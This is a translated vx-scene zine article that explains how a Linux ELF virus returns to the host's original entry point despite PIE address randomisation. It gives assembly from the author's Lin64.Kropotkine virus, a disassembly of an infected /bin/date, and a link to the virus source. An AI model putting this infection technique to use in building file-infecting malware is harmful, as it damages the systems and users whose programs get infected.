┌───────────────────────┐
                                                           ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                           │ █   █ █ █ █   █       │
                                                           │ █   █ █ █ █▀▀▀▀       │
                                                           │ █   █   █ █     ▄     │
                                                           │                 ▄▄▄▄▄ │
                                                           │                 █   █ │
                                                           │                 █   █ │
                                                           │                 █▄▄▄█ │
                                                           │                 ▄   ▄ │
                                                           │                 █   █ │
                                                           │                 █   █ │
                                                           │                 █▄▄▄█ │
                                                           │                 ▄▄▄▄▄ │
                                                           │                   █   │
Return To Original Entry Point Despite PIE                 │                   █   │
~ S01den                                                   └───────────────────█ ──┘

[ @akilgundogan / M. Akil Gündoğan tarafından çevrilmiştir.] 
tmp.out tayfadan s01den tarafından sevgiyle yazıldı !

--- 1) Giriş ---

Virüsler dünyasına ilk adım attığımda, ilk düşündüğüm şey ve karşılaştığım zorluk,
programın asıl başlangıç noktasının (OEP) nasıl doğru bir şekilde geri döndürülebileceğiydi.
Bu temel özellik isim yapmış her virüste yer alan bir özellikti ve geçmişte oldukça kolay
bir şekilde uygulamak mümkündü (mov ebx, OEP; jmp ebx).

Şu anda neden bu kadar kolay olmadığını merak ediyor olabilirsiniz.

Bu sorunuzun cevabı yalnızca 3 harf: PIE, yani Position Independent Executable özelliği.
PIE kullanılan ikili (binary) dosyalarda her çalıştırmada talimatların başlangıç adresi
rastgele bir şekilde belirlenir. Yani programın başlangıç noktası olan OEP sabit kalmaz,
istediklerimizi uygulayabilmek için birtakım hesaplamalar yapmak zorundayız.

Hemen bunu nasıl yapacağımızı görelim !

--- 2) PIE'ye rağmen OEP'e dönüş ---

Burada Lin64.Kropotkine[0]'da kulalndığım Ret2OEP hesaplama yöntemini kullanacağım.
Birkaç gün bu konuda takılıp kalsam da nihayet Elfmaster[1]'ın bir makalesi bana ışığı gösterdi.

İşte kodumuz:

-------------------------------- BURAYI-KES ------------------------------------------
mov rcx, r15 ; r15 virüs kodumuzun depolandığı adresi stack üzerinde tutar
add rcx, VXSIZE ; rcx artık virüs kodumuzdan daha sonra gelen ilk adresi içerir
mov dword [rcx], 0xffffeee8 ; önceki 13 baytta bulunan get_eip fonksiyonuna relative call
mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
mov byte  [rcx+8], 0x00000005
mov word  [rcx+11], 0x0002d48
mov qword [rcx+13], r9		 ; sub rax, entry0
mov word  [rcx+17], 0x0000548
mov qword [rcx+19], r12		; add rax, sym._start
mov dword [rcx+23], 0xfff4894c 	; mov rsp, r14
mov word  [rcx+27], 0x00e0		; jmp rax
------------------------------------------------------------------------------------

Gördüğünüz gibi, OEP'e geri dönüş yapacak kodu byte byte doğrudan belleğe yazıyoruz ki
(virüs kodundan sonra, önceki virüs kodunun yürütülmesinden hemen ardından bu rutine
dönüş yapabiliriz) yazacağımız byte'lar hedefi enfekte edebilsin. Şöyle bir şey görmek 
istiyoruz:

(bu kod, Lin64.Kropotkine ile enfekte ettiğim /bin/date dosyamdan geliyor)

-------------------------------- BURAYI-KES ------------------------------------------
; virüs kodumuzun sonu
get_rip:
0x0c01ada3      488b0424       mov rax, qword [rsp]
0x0c01ada7      c3             ret
getdot:
0x0c01ada8      e842fbffff     call 0xc01a8ef          ; call main
0x0c01adad      2e0000         add byte cs:[rax], al   ; '.'
; <---- virüs kodunun sonundayken ret2OEP kodumuzu buraya eklemek istiyoruz.
; Burası olmasını istediğimiz kod:
0x0c01adb0      e8eeffffff     call 0xc01ada3 ; call get_rip <--
0x0c01adb5      482d0d050000   sub rax, 0x50d ; sub rax, (VXSIZE+5)
0x0c01adbb      482da8a8010c   sub rax, entry0
0x0c01adc1      4805b0380000   add rax, 0x38b0 ;  add rax, sym._start
0x0c01adc7      4c89f4         mov rsp, r14 ; orijinal stack'e dönüş
0x0c01adca      ffe0           jmp rax
------------------------------------------------------------------------------------

Temelde, OEP'i hesaplamak gerçekten komplike veya zor bir şey değildir.

Diyelim ki, host tarafından yürütülecek orijinal kodun üzerinde yer alan ilk komutun
ofseti (yani rastgele hale getirilmemiş OEP'in) 0x38b0 ve RIP'imiz
0x55556156edb5 (rastgele bir adres) olsun. get_rip'i çağırdığımızda
(yukarıdaki kodda 0x0c1adb0) bir değer elde edelim. Biz istiyoruz ki OEP'e
atlayabilelim, bu yüzden OEP'in rastgele adresini öğrenmemiz gerekiyor.

Pekalâ devam edelim, call get_rip komutu RIP'i RAX'e koyar, bu yüzden virüsün başlangıç adresini
elde edebilmek için RAX (0x55556156edb5) üzerinden virüsün boyutunu (ve ek olarak
get_rip çağrısının boyutu olan 5'i) çıkarmamız gerekiyor. 

---> 0x55556156edb5 - (0x508 + 5) = 0x55556156e8a8 ; virüs kodumuzun ilk talimatının
adresi

Şimdi, bu yeni entry point ile virüs kodunun rastgeleleştirilmemiş/non-randomized
başlangıcı (önceden virüsün çalışması esnasında hesaplanan, bizim durumumuzda
bu 0xc01a8a8) birbirinden çıkarılır. 

Yani aslında sadece yaptığımız şey bu:

---> rastgeleleştirilmiş yeni entry point noktası - rastgeleleştirilmemiş yeni entry point (e_hdr.entry)

Elimizdeki değerleri kullanarak şöyle bir işlem gerçekleştirip, bir değer elde edeceğiz.

---> 0x55556156e8a8 - 0xc01a8a8 = 0x555555554000

Yukarıdaki çıkarma işlemi ile hedeflediğimiz şey rastgeleleştirme işleminin tabanını/base'ini
elde etmekti. Artık elimizdeki bu değere sadece orijinal e_hdr.entry'i eklememiz gerekiyor. 
(randomize edilmemiş OEP):

---> 0x555555554000 + 0x38b0 = 0x5555555578b0

Artık atlayabileceğiniz doğru bir adrese sahipsiniz !
Yani jmp rax host'a ait orijinal kodu yürütmeye başlayacaktır !

--- Sonuç ---
Kısa bir özet geçecek olursak, az önce yaptığımız şey buydu:

---> get_rip() - (VX_SIZE + 5) - new_EP + original-e_hdr.entry

Gördüğünüz gibi çok kolay bir matematiksel işlem ! ;)
Çok yaşa vx scene !
Burada otoriteler var, özgürlük yok.
Her şey, herkes içindir.
Hasta siempre!

--- Notlar ve referanslar ---
[0] https://github.com/vxunderground/MalwareSourceCode
      /blob/main/VXUG/Linux.Kropotkine.asm
[1] Modern ELF Infection Techniques of SCOP Binaries:
    https://bitlackeys.org/papers/pocorgtfo20.pdf
    - özellikle şu kısım: "Note on resolving Elf_Hdr->e_entry
      in PIEexecutables"

--- Kaynakça ---

- Linux.Kropotkine.asm